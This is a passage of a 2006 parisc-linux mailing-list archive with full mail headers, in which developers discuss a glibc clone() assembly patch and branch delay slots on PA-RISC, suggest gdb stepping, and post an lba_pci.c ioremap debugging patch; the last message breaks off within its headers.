X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pytMBRYWfW4orOWveGVodW5mdmllckXt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25283

On Tue, Mar 28, 2006 at 01:00:42PM +0200, Miklos Szeredi wrote:
> Hi James,
> 
> I've seen you submitted the needed API changes on lkml.  Do you also
> have the parisc implementation for Chris to try out?
>

He committed it to cvs... I should have it divvied up and sent
to Linus by the weekend. In the meantime, try this patch against
2.6.16 (which is the parisc patchset) 
http://cvs.parisc-linux.org/download/linux-2.6/patch-2.6.16-pa8.gz 

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Any good rules of pratice about branching insn into
 the delay slot of another one?
Date: Sun, 02 Apr 2006 11:46:53 +0000
Lines: 146
Approved: news@gmane.org
Message-ID: <442FB9AD.3000800@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624591 27594 80.91.229.3 (22 Nov 2014 02:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 11:47:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 02 Apr 2006 13:47:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDAD37D70E;
	Sun,  2 Apr 2006 05:47:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24374-09; Sun, 2 Apr 2006 05:47:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 620CB7D6FE;
	Sun,  2 Apr 2006 05:47:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E3BE7D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 05:47:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24501-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Apr 2006 05:47:05 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DA00A7D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 05:47:05 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8ACFE49402A; Sun,  2 Apr 2006 05:47:05 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by palinux.hppa (Postfix) with ESMTP id 98F9E49401D;
	Sun,  2 Apr 2006 05:47:04 -0600 (MDT)
Original-Received: from (ip-62-235-195-41.dial.scarlet.be [62.235.195.41]) 
	by guri.is.scarlet.be  with ESMTP id k32Bkw127866; 
	Sun, 2 Apr 2006 13:46:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +44ccB83f2I/+IicY2xocyBwdWxlc5a4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25284

Hello all,

This question about latest test related to some glibc clone().

This patch:
   # diff -Nau clone.S.orig2 clone.S.New4
--- clone.S.orig2       2006-03-24 09:11:27.000000000 +0000
+++ clone.S.New4        2006-03-31 17:42:25.000000000 +0000
@@ -45,7 +45,31 @@

          .text
  ENTRY(__clone)
+    /* this ENTRY() macro do: stw rp, -20(sp)
+       and "FIXME: I have no idea how profiling works on hppa." */

+       /* Sanity check arguments.  */
+       comib,=         0, %arg0, .Larg_error           /* no NULL function pointers */
+       nop
+       comib,<>,n      0, %arg1, .Lno_arg_error        /* no NULL stack pointers */
+       nop
+
+.Larg_error:
+       /* Create a stack frame */
+/*     stwm            %r3, 64(%sp) */
+       ldo             64(%sp), %sp
+       /* Set errno */
+       bl              __syscall_error, %rp
+       ldi             EINVAL, %arg0
+
+       /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
+       bv              %r0(%rp)
+/*     ldwm            -64(%sp), %r3 */
+       ldo             -64(%sp), %sp
+
+.Lno_arg_error:
         /* Save the fn ptr and arg on the new stack.  */
         stwm            %arg0, 64(%arg1)
         stw             %arg3, -60(%arg1)
@@ -75,8 +99,10 @@
         ldi             -4096, %r1
         comclr,>>=      %r1, %ret0, %r0         /* Note: unsigned compare. */
         b,n             .Lerror
+       nop

         comib,=,n       0, %ret0, thread_start
+       nop                                     /* to avoid bv in the delay slot? */

         /* Successful return from the parent
            No need to restore the PIC register,
@@ -94,10 +120,12 @@
  #endif
         /* Set errno */
         copy            %ret0, %r3
-       b               __syscall_error
+       bl              __syscall_error, %rp
         sub             %r0, %ret0, %arg0
         copy            %r3, %ret0
         /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
         bv              %r0(%rp)
         ldwm            -64(%sp), %r3

====<>====

seems to works seems to be ok:
# grep Err glibc-2.3.6-4.3.1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/localedata/sort-test.out] Error 1
make[2]: *** [localedata/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-double.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble.out] Error 1
make[2]: *** [math/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/tst-rxspencer.out] Error 139
make[3]: [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [posix/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxthreads/tst-attr1.out] Error 1
make[2]: *** [linuxthreads/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer.out] Error 137
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-aio4.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer4.out] Error 1
make[2]: *** [rt/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-execstack-needed.out] Error 1
make[2]: *** [elf/tests] Error 2
make[1]: *** [check] Error 2

(well doesn't seems to introduce regression in test)

OTOH if I remove the nop I added in delay slot of 'b,n .Lerror' and 'comib,=,n 0, %ret0, thread_start' i.e. rm hunk:
@@ -75,8 +99,10 @@
         ldi             -4096, %r1
         comclr,>>=      %r1, %ret0, %r0         /* Note: unsigned compare. */
         b,n             .Lerror
+       nop

         comib,=,n       0, %ret0, thread_start
+       nop                                     /* to avoid bv in the delay slot? */

         /* Successful return from the parent
            No need to restore the PIC register,

test became very regressive:
# grep Err glibc-2.3.6-4.3.2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/iconvdata/tst-iconv4.out] Error 1
make[2]: *** [iconvdata/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/localedata/sort-test.out] Error 1
make[2]: *** [localedata/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-double.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble.out] Error 1
make[2]: *** [math/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/stdio-common/tst-rndseek.out] Error 1
make[2]: *** [stdio-common/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/libio/bug-mmap-fflush.out] Error 1
make[2]: *** [libio/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/tst-chmod.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/bug-regex24.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/tst-regex2.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/tst-rxspencer.out] Error 139
make[3]: [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [posix/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxthreads/tst-attr1.out] Error 1
make[2]: *** [linuxthreads/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-clock.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer.out] Error 139
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-aio4.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-aio5.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-aio6.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer3.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst-timer4.out] Error 1
make[2]: *** [rt/tests] Error 2
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-tls13.out] Error 1
make[3]: *** [/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/tst-execstack-prog.out] Error 1
make[2]: *** [elf/tests] Error 2
make[1]: *** [check] Error 2

Thanks in advance for advise,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Any good rules of pratice about branching insn
 into the delay slot of another one?
Date: Sun, 02 Apr 2006 23:20:41 +0800
Lines: 12
Approved: news@gmane.org
Message-ID: <442FEBC9.3090009@tausq.org>
References: <442FB9AD.3000800@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624591 27596 80.91.229.3 (22 Nov 2014 02:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 15:21:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 02 Apr 2006 17:21:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0144D7D74D;
	Sun,  2 Apr 2006 09:21:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28906-01; Sun, 2 Apr 2006 09:21:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FA9B7D748;
	Sun,  2 Apr 2006 09:21:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AD667D739
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 09:21:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28606-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Apr 2006 09:21:01 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9AE517D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 09:21:01 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5A619494034; Sun,  2 Apr 2006 09:21:01 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by palinux.hppa (Postfix) with ESMTP id DE769494027;
	Sun,  2 Apr 2006 09:21:00 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FQ4NW-0001Zv-8u; Sun, 02 Apr 2006 23:20:34 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <442FB9AD.3000800@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gI9HCUMLbHIyva3NNjQ0MikqJihyalB/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25285

> This question about latest test related to some glibc clone().

why don't you try to step through the code with gdb (using stepi) and 
see the sequence of insns that get executed in the different cases?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LBA ioremap problem
Date: Mon, 3 Apr 2006 13:13:26 -0600
Lines: 100
Approved: news@gmane.org
Message-ID: <20060403191326.GF8315@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624592 27597 80.91.229.3 (22 Nov 2014 02:49:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2006 19:13:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 03 Apr 2006 21:13:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AAB57D7B5;
	Mon,  3 Apr 2006 13:13:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12167-01; Mon, 3 Apr 2006 13:13:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A1C27D7A8;
	Mon,  3 Apr 2006 13:13:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BB427D7A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Apr 2006 13:13:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11706-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Apr 2006 13:13:27 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7D9167D7A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Apr 2006 13:13:27 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 0F07749408B; Mon,  3 Apr 2006 13:13:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id DC5A1494086; Mon,  3 Apr 2006 13:13:26 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jR5TEDNKbXBtrLqHPTQ2ODYqLyUmZQgV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25286


I've tried to fix the problem with running out of vmalloc space on
N-class with this patch.  Unfortunately, the system hangs when trying
to access the *second* sym2 controller.  The debug shows it happily
reading and writing the ethernet controller and the first sym2
controller.  Help?

Index: drivers/parisc/lba_pci.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/lba_pci.c,v
retrieving revision 1.39
diff -u -p -r1.39 lba_pci.c
--- drivers/parisc/lba_pci.c	27 Mar 2006 19:52:14 -0000	1.39
+++ drivers/parisc/lba_pci.c	3 Apr 2006 17:55:08 -0000
@@ -199,7 +199,7 @@ struct lba_device {
 	void		*iosapic_obj;
 
 #ifdef CONFIG_64BIT
-	void __iomem *	iop_base;    /* PA_VIEW - for IO port accessor funcs */
+	unsigned long	iop_base;    /* PA_VIEW - for IO port accessor funcs */
 #endif
 
 	int		flags;       /* state/functionality enabled */
@@ -1048,8 +1048,8 @@ static struct pci_port_ops lba_astro_por
 
 
 #ifdef CONFIG_64BIT
-#define PIOP_TO_GMMIO(lba, addr) \
-	((lba)->iop_base + (((addr)&0xFFFC)<<10) + ((addr)&3))
+#define PORT_BASE(l, addr) \
+	(LBA_DEV(l)->iop_base + (((addr)&0xFFFC)<<10) + ((addr)&3))
 
 /*******************************************************
 **
@@ -1064,35 +1064,37 @@ static struct pci_port_ops lba_astro_por
 ** Then add the base and we can generate an I/O Port cycle.
 ********************************************************/
 #undef LBA_PORT_IN
-#define LBA_PORT_IN(size, mask) \
+#define LBA_PORT_IN(size, bwl) \
 static u##size lba_pat_in##size (struct pci_hba_data *l, u16 addr) \
 { \
 	u##size t; \
 	DBG_PORT("%s(0x%p, 0x%x) ->", __FUNCTION__, l, addr); \
-	t = READ_REG##size(PIOP_TO_GMMIO(LBA_DEV(l), addr)); \
+	printk("reading a " #bwl " from 0x%lx\n", PORT_BASE(l, addr)); \
+	t = gsc_read##bwl(PORT_BASE(l, addr)); \
 	DBG_PORT(" 0x%x\n", t); \
 	return (t); \
 }
 
-LBA_PORT_IN( 8, 3)
-LBA_PORT_IN(16, 2)
-LBA_PORT_IN(32, 0)
+LBA_PORT_IN( 8, b)
+LBA_PORT_IN(16, w)
+LBA_PORT_IN(32, l)
 
 
 #undef LBA_PORT_OUT
-#define LBA_PORT_OUT(size, mask) \
+#define LBA_PORT_OUT(size, bwl) \
 static void lba_pat_out##size (struct pci_hba_data *l, u16 addr, u##size val) \
 { \
-	void *where = (void *) PIOP_TO_GMMIO(LBA_DEV(l), addr); \
 	DBG_PORT("%s(0x%p, 0x%x, 0x%x)\n", __FUNCTION__, l, addr, val); \
-	WRITE_REG##size(val, where); \
+	printk("writing a " #bwl " to 0x%lx\n", PORT_BASE(l, addr)); \
+	gsc_write##bwl(val, PORT_BASE(l, addr)); \
 	/* flush the I/O down to the elroy at least */ \
+	printk("reading back from Elroy\n"); \
 	lba_t32 = READ_U32(l->base_addr + LBA_FUNC_ID); \
 }
 
-LBA_PORT_OUT( 8, 3)
-LBA_PORT_OUT(16, 2)
-LBA_PORT_OUT(32, 0)
+LBA_PORT_OUT( 8, b)
+LBA_PORT_OUT(16, w)
+LBA_PORT_OUT(32, l)
 
 
 static struct pci_port_ops lba_pat_port_ops = {
@@ -1213,7 +1215,8 @@ lba_pat_resources(struct parisc_device *
 			** Postable I/O port space is per PCI host adapter.
 			** base of 64MB PIOP region
 			*/
-			lba_dev->iop_base = ioremap_nocache(p->start, 64 * 1024 * 1024);
+			lba_dev->iop_base = p->start;
+			printk("iop_base = 0x%lx\n", lba_dev->iop_base);
 
 			sprintf(lba_dev->hba.io_name, "PCI%02lx Ports",
 					lba_dev->hba.bus_num.start);

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Any good rules of pratice about branching insn
	into the delay slot of another one?
Date: Wed, 19 Apr 2006 09:09:41 +0100
Lines: 438
Approved: news@gmane.org
Message-ID: <IXYMO5$1DE437A4051E8A93EEBB8672C39D9AF4@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1145434181.2A.846775.42.7669.52.42.007.991917301"
X-Trace: ger.gmane.org 1416624592 27600 80.91.229.3 (22 Nov 2014 02:49:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2006 08:10:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 19 Apr 2006 10:10:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C83FC7D6C2;
	Wed, 19 Apr 2006 02:10:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22457-04; Wed, 19 Apr 2006 02:10:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D68E7D6C4;
	Wed, 19 Apr 2006 02:10:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
